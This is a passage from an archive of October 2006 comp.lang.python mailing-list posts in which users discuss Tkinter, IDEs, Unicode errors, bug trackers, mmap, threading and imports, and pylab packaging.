  File "C:\program files\Python25\lib\email\generator.py", line 135, in 
_dispatch
    meth(msg)
  File "C:\program files\Python25\lib\email\generator.py", line 266, in 
_handle_message
    g.flatten(msg.get_payload(0), unixfrom=False)
  File "C:\program files\Python25\lib\email\message.py", line 185, in 
get_payload
    raise TypeError('Expected list, got %s' % type(self._payload))
TypeError: Expected list, got <type 'str'> 




From fredrik at pythonware.com  Fri Oct 13 12:09:23 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 13 Oct 2006 18:09:23 +0200
Subject: Appropriate way to quit Tkinter
In-Reply-To: <1160700517.014505.304880@b28g2000cwb.googlegroups.com>
References: <1160675883.753402.70430@i3g2000cwc.googlegroups.com>	<mailman.400.1160685492.11739.python-list@python.org>
	<1160700517.014505.304880@b28g2000cwb.googlegroups.com>
Message-ID: <egodnj$kr9$3@sea.gmane.org>

mzdude wrote:

>> works for me.  are you perhaps running this under some kind of IDE that
>> keeps the process running even after the program has terminated?
>>
> It works the same way if I run from IDLE or from the DOS command prompt.

I find very hard to believe that a Python interpreter run from the DOS 
command prompt wouldn't terminate when it reaches the end of the main 
program.

what Python distribution are you using?

</F>



From bj_666 at gmx.net  Wed Oct 11 05:00:01 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Wed, 11 Oct 2006 11:00:01 +0200
Subject: what is this UnicodeDecodeError:....?
References: <1160504403.384348.253650@k70g2000cwa.googlegroups.com>
	<pan.2006.10.10.20.32.27.653212@gmx.net>
	<1160515979.332472.223430@c28g2000cwb.googlegroups.com>
Message-ID: <pan.2006.10.11.09.00.00.508972@gmx.net>

In <1160515979.332472.223430 at c28g2000cwb.googlegroups.com>, John Machin
wrote:

> Marc 'BlackJack' Rintsch wrote:
> 
>> Because you are trying to compare a unicode string `val` with a byte
>> string in the list. The unicode string will be converted to a byte string
>> for this comparison with the default encoding: ASCII.
> 
> :-)
> 
> I presume you must live north of the equator. Down under, it seems to
> happen the other way up -- the byte strings are decoded to unicode:

(-: Ooops, I stand corrected. :-)

Ciao,
	Marc 'BlackJack' Rintsch


From pecora at anvil.nrl.navy.mil  Tue Oct 17 11:13:04 2006
From: pecora at anvil.nrl.navy.mil (Lou Pecora)
Date: Tue, 17 Oct 2006 11:13:04 -0400
Subject: How to invoke ipython in Mac OS X?
References: <pecora-201AF7.09544317102006@ra.nrl.navy.mil>
	<1161096254.691132.222220@e3g2000cwe.googlegroups.com>
Message-ID: <pecora-53C677.11130417102006@ra.nrl.navy.mil>

In article <1161096254.691132.222220 at e3g2000cwe.googlegroups.com>,
 "Jerry" <jweida at gmail.com> wrote:

> Did you install it with the --install-scripts command line option?  If
> you did, then there will be a ipython script located in the
> $INSTALL_SCRIPTS/bin directory.  If you didn't, then I think the
> default location is /usr/lib/python or something like that.

No, I did not use the install-scripts command line option.  It was 
installed from the Package (it's down there in 
/Library/Frameworks/Python...blah, blah/site-packages/IPython).

-- Lou Pecora  (my views are my own) REMOVE THIS to email me.


From casagiuseppe2006 at libero.it  Fri Oct 13 12:02:02 2006
From: casagiuseppe2006 at libero.it (giuseppe)
Date: Fri, 13 Oct 2006 16:02:02 GMT
Subject: IDE
References: <4zOXg.1918$uv5.11354@twister1.libero.it>
	<mailman.456.1160755099.11739.python-list@python.org>
Message-ID: <_LOXg.1933$uv5.11438@twister1.libero.it>

for example I ask wingware python IDE is good?

other program similar is better?

joe


"Theerasak Photha" <hanumizzle at gmail.com> ha scritto nel messaggio 
news:mailman.456.1160755099.11739.python-list at python.org...
> On 10/13/06, giuseppe <casagiuseppe2006 at libero.it> wrote:
>> What is the better IDE software for python programming?
>
> Long story short, I use Emacs 22 from CVS (text editor on steroids),
> but SPE looks like a good bet.
>
> It all depends on criteria! There's a million free variables in your 
> request...
>
> --- Theerasak 




From tjreedy at udel.edu  Sun Oct  8 16:18:59 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Sun, 8 Oct 2006 16:18:59 -0400
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it><45240FD5.3050705@v.loewis.de><4n4Vg.135913$_J1.898276@twister2.libero.it><f4rfv3-vhg.ln1@nb2.stroeder.com><45254B18.2090806@v.loewis.de><mailman.1379.1160075929.10491.python-list@python.org><YzoVg.137036$zy5.1843214@twister1.libero.it><7x3ba1ltvj.fsf@ruckus.brouhaha.com><mailman.1457.1160140815.10491.python-list@python.org><H_IVg.138311$zy5.1854132@twister1.libero.it><mailman.29.1160242926.11739.python-list@python.org>
	<nMXVg.139289$_J1.908829@twister2.libero.it>
Message-ID: <egbmfi$8l8$1@sea.gmane.org>


"Giovanni Bajo" <noway at sorry.com> wrote in message 
news:nMXVg.139289$_J1.908829 at twister2.libero.it...
> tracker. I was claiming that, if such a group was ever formed, it was 
> better
> spent on bug triage rather than keeping their keys ready all day long to
> quick-fix any server breakage in minutes.

This could be made into an argument for accepting the Jira offer so we 
don't 'waste' *any* more Python-knowledgable volunteer time on admin. 
However, thinking about it more, I think that wrestling with a software 
system like Roundup and interacting with sometimes naive and non-responsive 
bug submitters are two different skills and likely to attract different 
volunteers.

[snip]

> Either close directly any nonsense, or ask for more feedback to the 
> poster,
> until the bug/patch/rfe is sufficiently clear to be handled, or 3 months 
> are
> passed and you close the bug for "no further feedback from the poster". 
> If this
> would dramatically reduce the number of open bugs, then yes, Python 
> really
> needs someone to do bug triaging.

I have thought this for some time based on my occasional efforts at 
'first-response' reviewing.  But I have not tried to do anything because of 
the difficulty of working with the SF tracker.  Perhaps submissions by new 
submitters should start in 'limbo' until rejected or accepted into active 
open status.  I hope that whichever new tracker we get will allow for 
automated followups at determined intervals, such as 3 mos or whatever.

> It might be not a good use of your time at all, since you are a 
> developer. But
> having a database with 938 open bugs most of which are
> incomplete/nonsense/unconfirmed is much less useful than it could be.

Perhaps when the new tracker is set up, you can help scratch the 'too many 
open bugs' itch.

> It also
> raises the bar for new developers: it's much harder to just "pick one" 
> and fix
> it. I know because I tried sometimes, and after half an hour I couldn't 
> find
> any bug that was interesting to me and "complete" enough to work on it. I 
> also
> noticed that most bugs are totally uncommented like nobody cared at all. 
> This
> is where my thought about Python missing bug triaging started.

s/most/some/

When I read a bug with no comment I sometimes put extra energy into 
thinking of something to say or ask just so the reporter will know the 
report has been read.

Terry Jan Reedy





From deets at nospam.web.de  Fri Oct 13 11:55:21 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Fri, 13 Oct 2006 17:55:21 +0200
Subject: SOAPpy and callback
In-Reply-To: <_8NXg.46981$DU3.27448@tornado.texas.rr.com>
References: <1160690157.961643.248720@m73g2000cwd.googlegroups.com>
	<4p94a0Fhr1amU1@uni-berlin.de>
	<_8NXg.46981$DU3.27448@tornado.texas.rr.com>
Message-ID: <4p9r78Fi2olfU1@uni-berlin.de>

Paul McGuire schrieb:
> "Diez B. Roggisch" <deets at nospam.web.de> wrote in message 
> news:4p94a0Fhr1amU1 at uni-berlin.de...
>> fabien.benard at gmail.com schrieb:
>>> Hello,
>>>
>>> I'm trying to find how to use a callback in a SOAP client using SOAPpy.
>>> Does SOAPpy have to manage it, or does Python include some API to do
>>> it?
>> I've never seen any callback mentioned in SOAP. Are you sure this is 
>> possible with any SOAP implementation, at least standard-wise?
> This is most definitely possible, in fact it is the basis for a new 
> asynchronous data collection standard for semiconductor equipment, Interface 
> A (replacing the ancient SECS/GEM interface, originally designed to work 
> over RS-232).  However, it is a major pain to implement.


I don't call 'you can do that on your own' as standard-wise.

Certainly you can run two servers, make sure they are mutually 
reachable, and client and server share the same process space.

But that is not a callback - it is, as you say, a PITA. And a massive 
lack in the SOAP standard.

Regards,

Diez


From http  Tue Oct  3 21:42:16 2006
From: http (Paul Rubin)
Date: 03 Oct 2006 18:42:16 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<eft78f$put$1@sea.gmane.org> <eft974$1au$1@sea.gmane.org>
	<efu9c7$lql$1@sea.gmane.org>
	<mailman.1193.1159902945.10491.python-list@python.org>
Message-ID: <7xzmcc97rb.fsf@ruckus.brouhaha.com>

Fredrik Lundh <fredrik at pythonware.com> writes:
> > Sure. But what's the similarity to the fiasco part of the BitKeeper fiasco?
> 
> depends on what you consider being the cause of that fiasco.  I'm not
> sure it was quite as simple as people are trying to make it sound...

I remember there being some urgency to move away from BitKeeper
because some counter (like a 16-bit file version number that got
incremented on every check-in of the file, or something like that) was
about to overflow, and only the non-free version allocated more bits
for the counter.  That was why Git had to be thrown together in just a
few weeks.


From larry.bates at websafe.com  Wed Oct  4 19:17:44 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Wed, 04 Oct 2006 18:17:44 -0500
Subject: Where is Python in the scheme of things?
In-Reply-To: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
Message-ID: <arGdnXb7j6eM3LnYnZ2dnUVZ_tqdnZ2d@comcast.com>

gord wrote:
> As a complete novice in the study of Python, I am asking myself where this 
> language is superior or better suited than others. For example, all I see in 
> the tutorials are lots of examples of list processing, arithmetic 
> calculations - all in a DOS-like environment.
> 
> What is particularly disappointing is the absence of a Windows IDE, 
> components and an event driven paradigm. How does Python stand relative to 
> the big 3, namely Visual C++, Visual Basic and Delphi? I realize that these 
> programming packages are quite expensive now while Python is free (at least 
> for the package I am using - ActivePython).
> 
> Please discuss where Python shines.
> Gord
> 
> 
With python I can write:

Windows simple/complex scripts
Windows console applications
Windows COM objects
Windows Services
Windows GUI applications (wxPython, QT, TK)
Windows games
Web framework based apps (Zope, CherryPie, TurboGears, etc).

Linux simple/complex scripts
Linux console applications
Linux daemons
Linux GUI applications  (wxPython, QT, TK)
Linux games

Mac simple/complex scripts
Mac console applications
Mac daemons
Mac GUI applications  (wxPython, QT, TK)
Mac games
Web framework based apps (Zope, CherryPie, TurboGears, etc).

(I haven't personally done a lot on the Mac, but I understand
that these can be done)

Web CGI applications
Web active server pages
Web soap/XML applications

Try to cover all those bases in any of the "big 3".  With
anything other than Python I find I must use multiple
languages and many different collections of libraries.
With Python I'm not constantly bouncing back-and-forth between
languages and now I seem to be always getting better at writing...
you guessed it...Python.  Instead of learning a new language
every time I change platforms, I just add libraries/modules that
meet the specific needs of the platform or the application that
I'm trying to implement.  With version upgrades of multiple
languages on multiple platforms with upgrades to multiple
standard libraries, it was getting completely unmanageable.
If you only have to deal with GUI apps on Windows I guess
VB or Delphi would be fine.  If you need to deploy to multiple
platforms (Windows, Linux, Mac) IMHO neither of them will
work very well.  C++  is as portable, but the extra code that
you must write would be substantial.

-Larry Bates


From mail at microcorp.co.za  Fri Oct 20 02:42:47 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Fri, 20 Oct 2006 08:42:47 +0200
Subject: Converting existing module/objects to threads
References: <1161219746.574285.188930@m7g2000cwm.googlegroups.com>
Message-ID: <038d01c6f413$204b4e80$03000080@hendrik>

<jdlists at gmail.com> wrote:
> I have inheirted some existing code, that i will explain in a moment,
> have needed to extend and ultimately should be able to run in threads.
> I've done a bunch of work with python but very little with threads and
> am looking for some pointers on how to implement, and if the lower
> level modules/objects need to be rewritten to use threading.local for
> all local variables.
>
> I have a module that communicates with a hardware device, which reads
> data off of sensors, that can only talk with one controller at a time.
> The controller (my module) needs to (in its simplest form) init,
> configure the device, request data, and write out xml, sleep, repeat.
>
> The new request is that the device needs to be queried until a
> condition is true, and then start requesting data.  So an instance of a
> controller needs to be deadicated to a hardware device forever, or
> until the program ends....which ever comes first.
>
> This currently works in a non-threaded version, but only for one device
> at a time, there is a need to create a single windows(yeach) service
> that talks to many of these devices at once.  I don't need worker
> threads that handle seperate portions of the entire job, i need a
> single application to spawn multiple processes to run through the
> entire communication from configure to report, sleep until the next
> interval time and run again.  The communication could last from 1
> minute to 10 minutes before it ends.

8<------------------------------------------------------------------------------

not sure if I understand this correctly - but I would in this position spawn new
threads, and use a global list of queues to interface between the new threads
and the old comms module, still talking to one device at a time, but now time
sliced. - in the comms module:

for q in list_of_queues:
    see if anything to ask:
        continue if not
    ask it and put answer on reply queue

but then I am a Philistine coder, interested only in getting the job done...

- Hendrik




From jstroud at mbi.ucla.edu  Tue Oct  3 07:52:15 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Tue, 03 Oct 2006 11:52:15 GMT
Subject: py2app console
Message-ID: <P9sUg.1250$NE6.423@newssvr11.news.prodigy.com>

Hello,

Does anyone know of the most straightforward way to get rid of the 
intensely annoying "console" window that py2app feels so compelled to 
create?

On a related but less important note, why would anyone want that stupid 
window in the first place?

James


From pandyacus.xspam at xspam.sbcglobal.net  Thu Oct 26 03:25:38 2006
From: pandyacus.xspam at xspam.sbcglobal.net (Chetan)
Date: Thu, 26 Oct 2006 07:25:38 GMT
Subject: using mmap on large (> 2 Gig) files
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<1161648415.830523.225520@k70g2000cwa.googlegroups.com>
	<donn-672033.09225124102006@gnus01.u.washington.edu>
	<1161730045.377608.221250@e3g2000cwe.googlegroups.com>
	<7xr6wvbsf2.fsf@ruckus.brouhaha.com>
Message-ID: <ur6wv4jyn.fsf@sbcglobal.net>

Paul Rubin <http://phr.cx at NOSPAM.invalid> writes:

> "sturlamolden" <sturlamolden at yahoo.no> writes:
>> However, "memory mapping" a file by means of fseek() is probably more
>> efficient than using UNIX' mmap() or Windows'
>> CreateFileMapping()/MapViewOfFile().
>
> Why on would you think that?!  It is counterintuitive.  fseek beyond
> whatever is buffered in stdio (usually no more than 1kbyte or so)
> requires a system call, while mmap is just a memory access.
And the buffer copy required with every I/O from/to the application. 

>> In Python, we don't always need the file memory mapped, we normally
>> just want to use slicing-operators, for-loops and other goodies on
>> the file object -- i.e. we just want to treat the file as a Python
>> container object. There are many ways of achieving that.
>
> Some of the time we want to share the region with other processes.
> Sometimes we just want random access to a big file on disk without
> having to do a lot of context switches seeking around in the file.
>
>> There are in any case room for improving Python's mmap object.
>
> IMO it should have some kind of IPC locking mechanism added, in
> addition to the offset stuff suggested.
The type of IPC required differs depending on who is using the shared region -
either another python process or another external program. Apart from the
spinlock primitives, other types of synchronization mechanisms are provided by
the OS. However, I do see value in providing a shared memory based spinlock
mechanism. These services can be built on top of the shared memory
infrastructure. I am not sure what kind or real world python applications use
it. 

-Chetan


From grante at visi.com  Fri Oct 13 11:14:44 2006
From: grante at visi.com (Grant Edwards)
Date: Fri, 13 Oct 2006 15:14:44 -0000
Subject: Best IDE?
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
Message-ID: <12ivbb480ht02db@corp.supernews.com>

On 2006-10-13, Ahmer <ahmerhussain at gmail.com> wrote:

> What do you guys use?

jed along with bash et. al.

> Why?

Because it's efficient and it's what I use for all other
languages.

> What do you like and hate about it?

If there was something I hated about it, I wouldn't use it.

> What platform(s) is it avalable on?

Unix/Linux and Win32.

> How much does it cost?

Nothing.

> etc.

42

-- 
Grant Edwards                   grante             Yow!  I'd like TRAINED
                                  at               SEALS and a CONVERTIBLE on
                               visi.com            my doorstep by NOON!!


From john106henry at hotmail.com  Fri Oct  6 14:05:37 2006
From: john106henry at hotmail.com (John Henry)
Date: 6 Oct 2006 11:05:37 -0700
Subject: Need array help
In-Reply-To: <EkwVg.362$P92.105@trndny02>
References: <EkwVg.362$P92.105@trndny02>
Message-ID: <1160157937.460613.204180@i3g2000cwc.googlegroups.com>

Others posted answer to your question.

If you are serious about programming in Python, I highly recommend that
you don't try to think in terms of "I did this in Visual Basic, how do
I do this in Python".   You'll end up with Python code that are nothing
but a VB look alike.   As recommended by others, go througth the
tutorial.  It will be time well spent.


Marion Long Jr wrote:
> I am switching from microsoft visual basic programming to python
> programming. In microsoft
> visual basic you can Dim a variable so that you can add variables by
> changing the number
> on the end of the variable as in the following example;
>
> Dim acct(100)
>
> numoffiles=4
> data=10
> ct=1
> while ct <> numoffiles
> acctfile(ct) = data
> ct= ct + 1
> data= data + ct
> Wend
> The results are;
> acctfile(1)=10
> acctfile(2)=12
> acctfile(3)=15
>
> And you can compare the values of the new variables;
> if acctfile(1) > acctfile(2) then print "yes"
> if acctfile(2) > acctfile(1) then print "yes"
>
> when I try to create acctfile(ct) = data I get the following error;
> ***can't assign to function call. Then it gives the program line of the
> problem
> Here is the progam in python;
>
> numoffiles=4
> data=10
> ct=1
>
> while ct != numoffiles:
>     acctfile(ct) =data
>     ct += 1
>     data= data + ct
>     print acctfile(ct)
> 
> Does anybody know how this is done in Python?



From godson.g at gmail.com  Mon Oct 23 04:18:06 2006
From: godson.g at gmail.com (Godson)
Date: Mon, 23 Oct 2006 13:48:06 +0530
Subject: Tkinter--does anyone use it for sophisticated GUI development?
Message-ID: <f9822b400610230118t1d5bcbb6sdb72e90174b53e8d@mail.gmail.com>

From: James Stroud <jstroud at mbi.ucla.edu>
To: python-list at python.org
Date: Thu, 19 Oct 2006 20:34:26 GMT
Subject: Re: Tkinter--does anyone use it for sophisticated GUI development?
Kevin Walzer wrote:
> I'm a Tcl/Tk developer who has been working, slowly, at learning Python,
> in part because Python has better support for certain kinds of
> applications that I want to develop than Tcl/Tk does. Naturally, I
> thought that I would use Tkinter as the GUI for these programs. However,
> in doing research into GUI development techniques, sample code, and
> showcase applications, what has struck me is how little sophisticated
> GUI development seems to be done in Tkinter as compared to, say,
> wxPython. I've found plenty of tutorials on how to do basic GUI stuff
> with Tkinter, but that stuff pretty much ends with the core Tk widgets
> (buttons, entry fields, scrollbars, and menu items).
>
> Coming from Tcl/Tk, where there are a huge number of extension packages
> to enhance the Tk widgets and which allow you to make really polished
> GUI's, I'm struck mainly by how little of this stuff has made it over
> into Tkinter/Python. For instance, I've developed several Tcl
> applications that use the core Tk widgets, the Tile theming package, the
> Bwidget set (great tree widget and listbox, which allows you to embed
> images), and tablelist (an extremely flexible muti-column listbox
> display). I've found Python wrappers for some of this stuff, but almost
> no documentation on how to use them, and very little in the way of
> actual applications making use of them--which is itself a red flag. And
> most of the pure-Python extension stuff that I've found, such as Python
> megawidgets, is pretty dated/ugly and lags far behind the comparable
> stuff on the Tcl side.
>
> Am I better off biting the bullet and learning wxPython--a different GUI
> paradigm to go with the new language I'm trying to learn? I had hoped to
> reduce my learning curve, but I'm very concerned that I simply can't do
> what I want to do with Tkinter. What do other Tkinter developers think?

I've used Tkinter + bwidgets for Crescendo which you can find in this page
http://godson.auroinfo.com/downloads
you can look at the screen shots of Crescendo there. We have a wrapper for
Tile written by Franklin a long time ago
but his site is down currently.  here is the google cached version of that
page
http://72.14.209.104/search?hl=en&q=cache%3Ahttp%3A%2F%2Fmfranklin.is-a-geek.org%2Fdocs%2FTile%2Findex.html&btnG=Search&meta=
Bwidgets wrapper of python has not all widgets that Bwidgets offers, i've
tried changing the file __init__.py its pretty easy.

Regards,
Godson.
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From ewijaya at i2r.a-star.edu.sg  Thu Oct 26 23:43:06 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Fri, 27 Oct 2006 11:43:06 +0800
Subject: How to Split Chinese Character with backslash representation?
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615DC@mailbe01.teak.local.net>


Hi all,

I was trying to split a string that 
represent chinese characters below:
 
 
>>> str = '\xc5\xeb\xc7\xd5\xbc'
>>> print str2,
???
>>> fields2 = split(r'\\',str)
>>> print fields2,
['\xc5\xeb\xc7\xd5\xbc']

But why the split function here doesn't seem
to do the job for obtaining the desired result:
 
['\xc5','\xeb','\xc7','\xd5','\xbc']
 
 
 
Regards,
-- Edward WIJAYA
SINGAPORE



------------ Institute For Infocomm Research - Disclaimer -------------
This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
--------------------------------------------------------


From robert.kern at gmail.com  Tue Oct 17 13:39:07 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Tue, 17 Oct 2006 12:39:07 -0500
Subject: pylab package dependencies
In-Reply-To: <pecora-D51FB8.09391617102006@ra.nrl.navy.mil>
References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com>	<mailman.604.1161057667.11739.python-list@python.org>
	<pecora-D51FB8.09391617102006@ra.nrl.navy.mil>
Message-ID: <eh34fr$unn$1@sea.gmane.org>

Lou Pecora wrote:
> In article <mailman.604.1161057667.11739.python-list at python.org>,
>  Robert Kern <robert.kern at gmail.com> wrote:
> 
>> I presume what you did was something like this:
>>
>>    from matplotlib import pylab
>>    [N,x] = hist(eig, 10)
>>
>> What you actually want is this:
>>
>>    from matplotlib import pylab
>>    [N,x] = pylab.hist(eig, 10)
>>
>> Or, if you're at the interactive prompt (but remember that it is inadvisable 
>> to 
>> do so in modules):
>>
>>    from matplotlib.pylab import *
>>    [N,x] = hist(eig, 10)
>>
>> You will probably want to review the section of the tutorial on importing 
>> modules if you don't understand the differences.
> 
> Is pylab part of matplotlib? 

Yes.

> I always thought it was the other way 
> around. I have a similar view of numpy as part of scipy. 

It is not.

> Maybe I'm 
> confused on the dependencies.  I find it confusing in the examples 
> sometimes when the "bigger" package is imported (e.g. scipy) and then a 
> "subpackage" is also imported.  Like this:
> 
> from scipi import *
> from scipi import numpy

The latter would definitely be bad form if it worked. numpy is a package all by 
itself and should be imported by itself.

> I know I've seen stuff like that, but I don't get it.  The dependencies 
> are confusing to me.  

pylab is a module provided with matplotlib that exposes a nice interface for 
certain purposes. Somewhat confusingly, it is provided in two places, as its own 
module:

   import pylab

and as a submodule in the matplotlib package:

   from matplotlib import pylab

Both do the same thing. You get to ask John Hunter if you want to know the whys 
and wherefores.

numpy is a package all by itself. scipy is a package all by itself although it 
depends on numpy being installed. You cannot import numpy from scipy. The 
dependency of scipy on numpy does *not* entail that scipy will provide numpy in 
its namespace.

Sometimes packages/modules are sloppy and accidentally expose the modules that 
they import. For example, if you had a module foo.py like this:

   import bar
   def dostuff():
     pass

then foo.py depends on bar.py. One *could* also do this:

   from foo import bar

However, as I said, this would be bad form. It is an accident that the bar 
module is exposed there. It should not be imported from the foo module.

Naturally, there are exceptions. Sometimes some other module is deliberately 
imported and intended to be exposed in that place. Hopefully, there is a comment 
to that effect explaining that it was intentional.

> I did a search of the tutorial on 'import' but didn't find the answer.

It certainly doesn't answer your questions, but it should answer the OP's if my 
presumptions are correct. Importing a module like so:

   import mymodule
   from mypackage import myothermodule

does not take all of symbols in mymodule and myothermodule and place them in the 
current namespace.

   http://docs.python.org/tut/node8.html

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From mike.klaas at gmail.com  Tue Oct 31 18:29:25 2006
From: mike.klaas at gmail.com (Klaas)
Date: 31 Oct 2006 15:29:25 -0800
Subject: import in threads: crashes & strange exceptions on dual core
	machines
In-Reply-To: <ei7al7$9ik$1@news.albasani.net>
References: <ei4vtc$220$1@news.albasani.net>
	<1162264611.252985.208010@m7g2000cwm.googlegroups.com>
	<ei7al7$9ik$1@news.albasani.net>
Message-ID: <1162337365.070683.156670@h48g2000cwc.googlegroups.com>

robert wrote:
> Klaas wrote:
> > It seems clear that the import lock does not include fully-executing
> > the module contents.  To fix this, just import cookielib before the
>
> What is the exact meaning of "not include fully-executing" - regarding the examples "import cookielib" ?
> Do you really mean the import statement can return without having executed the cookielib module code fully?
> (As said, a simple deadlock is not at all my problem)

No, I mean that the import lock seems to not be held while the module
contents are being executed (which would be why you are getting
partially-initialized module in sys.modules).  Perhaps it _is_ held,
but released at various points of the import process.  Someone more
knowledgable of python internals will have to answer the question of
what _should_ be occurring.

> thanks. I will probably have to do the costly pre-import of things in main thread and spread locks as I have also no other real idea so far.

Costly?

> Yet this costs the smoothness of app startup and corrupts my believe in Python capabs of "lazy execution on demand".

If you lock your code properly, you can do the import anytime you wish

> I'd like to get a more fundamental understanding of the real problems than just a general "stay away and lock and lock everything without real understanding".

Of course.  But you have so far provided no information to that
regard--not even a stack trace.  If you suspect a bug in python, have
you submitted a bug report at sourceforge?

> * I have no real explanation why the import of a module like cookielib is not thread-safe. And in no way I can really explain the real OS-level crashes on dual cores/fast CPU's. Python may throw this and that, Python variable states maybe wrong, but how can it crash on OS-level when no extension libs are (hopefully) responsible?

If you are certain (and not just hopeful) that no extension modules are
involved, this points to a bug in python.

> * The Import Lock should be a very hard lock: As soon as any thread imports something, all other threads are guaranteed to be out of any imports. A dead lock is not the problem here.

What do you mean by "should"?  Is this based on your knowledge of
python internals?

> * the things in my code patter are function local code except "opener = urlcookie_openers.get(user)" and "urlcookie_openers[user] = opener" : Simple dictionary accesses which are atomic from all my knowledge and experience. I think, I have thought about enough, what could be not thread safe. The only questionable things have to do with rare change of some globals,

It is very easy for dictionary accesses to be thread-unsafe, as they
can call into python-level __hash__ and __eq__ code.  If this happens,
a context switch is possible.  Are you sure this isn't the case?

> but this has  not at all to do with the severe problems here and could only affect e.g wrong > url2_proxy or double/unecessary re-creation of an opener, which is uncritical in my app.

Your code contains the following pattern, which can cause any number of
application errors, depending on the app:

a = getA()
if a is None:
   <lots of code>
   setA()

If duplicating the creation of an opener isn't a problem, why not just
create one for a user to begin with?

> I'm still puzzled and suspect there is a major problem in Python, maybe in win32ui or - no idea ... ?

Python does a relatively decent job of maintaining thread security for
its most basic operations, but this is no substitute for caring about
thread safety in your own application.  It is only true in the most
basic cases that a single line of code corresponds to a single opcode,
and determining that the code is correct is even more difficult than
when using explicit locking. The advantages just aren't worth it:

$ python -m timeit -s "import thread; t=thread.allocate_lock()"
"t.acquire(); t.release()"
1000000 loops, best of 3: 1.34 usec per loop

Note that this is actually less expensive than the handle of python
code that dummy_threading does:

$ python -m timeit -s "import dummy_threading; t =
dummy_threading.Lock()" "t.acquire(); t.release()"
100000 loops, best of 3: 2.05 usec per loop

Note that this _doesn't_ mean that you should "lock everything without
real understanding", but in my experience there is very little
meaningful python code that the GIL locks adequately.

As for your crashes, those should be investigated.  But without really
any hints, I don't see that happening.  If you can't reproduce it, it
seems unlikely that anyone else will be able to.

-Mike



From gagsl-py at yahoo.com.ar  Thu Oct  5 14:40:36 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 05 Oct 2006 15:40:36 -0300
Subject: What value should be passed to make a function use the
	default argument value?
In-Reply-To: <slrneia6c4.55m.apardon@rcpc42.vub.ac.be>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>
	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>
	<7xac4cpefr.fsf@ruckus.brouhaha.com>
	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
	<eg03un$se8$1@news.albasani.net>
	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>
	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>
	<eg17jd$gsr$1@news.albasani.net>
	<mailman.1295.1159996151.10491.python-list@python.org>
	<slrneia6c4.55m.apardon@rcpc42.vub.ac.be>
Message-ID: <7.0.1.0.0.20061005153148.05a4a350@yahoo.com.ar>

At Thursday 5/10/2006 11:41, Antoon Pardon wrote:

> > the general rule is that if the documentation doesn't explicitly say
> > that something is a keyword argument, it isn't, and shouldn't be treated
> > as such.
>
>The first module I looked in to check this, it wasn't true. In the Queue
>Module is isn't explicitly written that maxsize is a keyword argument yet
>Queue.Queue(maxsize=9) works just fine.

This is true for most python code, unless the arguments are get as *args.
But it's not the same for the C code, where the argument parsing must 
be done explicitely.



Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From nospam at jollans.com  Mon Oct  2 18:07:00 2006
From: nospam at jollans.com (Thomas Jollans)
Date: Tue, 3 Oct 2006 00:07:00 +0200
Subject: php and python: how to unpickle using PHP?
References: <mailman.1123.1159824627.10491.python-list@python.org>
	<45218840$0$4528$e4fe514c@news.xs4all.nl>
Message-ID: <efs2i4$isi$01$5@news.t-online.com>

On Mon, 02 Oct 2006 23:44:26 +0200, Irmen de Jong <irmen.NOSPAM at xs4all.nl>
let this slip:

> Ted Zeng wrote:
> (...)
> Try to find a language neutral marshaling format
> (yaml? xml? whatever) and access that from both Python and PHP...

yaml should be well-suited due to its nature as serialization format, akin
to pickle.

-- 
Thomas Jollans alias free-zombie


From MonkeeSage at gmail.com  Fri Oct  6 22:26:02 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 6 Oct 2006 19:26:02 -0700
Subject: Names changed to protect the guilty
In-Reply-To: <mailman.1481.1160185112.10491.python-list@python.org>
References: <eg6opn$7oj$1@panix3.panix.com>
	<1160182951.812677.178750@i42g2000cwa.googlegroups.com>
	<mailman.1481.1160185112.10491.python-list@python.org>
Message-ID: <1160187962.696186.30450@h48g2000cwc.googlegroups.com>


On Oct 6, 8:34 pm, Neil Cerutti <horp... at yahoo.com> wrote:
> And in the original case, I'd agree that "if X.has_key():" is
> quite clear, already yielding a boolian value, and so doesn't
> need to be tested for if it's False. But I wouldn't like to test
> for an empty list or for None implicitly.

I agree that predicates are explicit in themselves, if they are named
intuitively like "has_key". I assumed that the OP was upset about "is
False" not that an explicit check was done on a predicate method.

On Oct 6, 8:38 pm, Gabriel Genellina <gagsl... at yahoo.com.ar> wrote:
> It's not about style or being pythonic: a condition may be false, but
> not the False object itself, so writing
> if something is False:
> is the wrong way to test if something is false (isn't clear? :) )

Yes, I understand, and it's true that in a mixed context it could bite
you (or you could check equality rather than identity), but assuming a
strictly boolean context you don't have that problem (or perhaps you
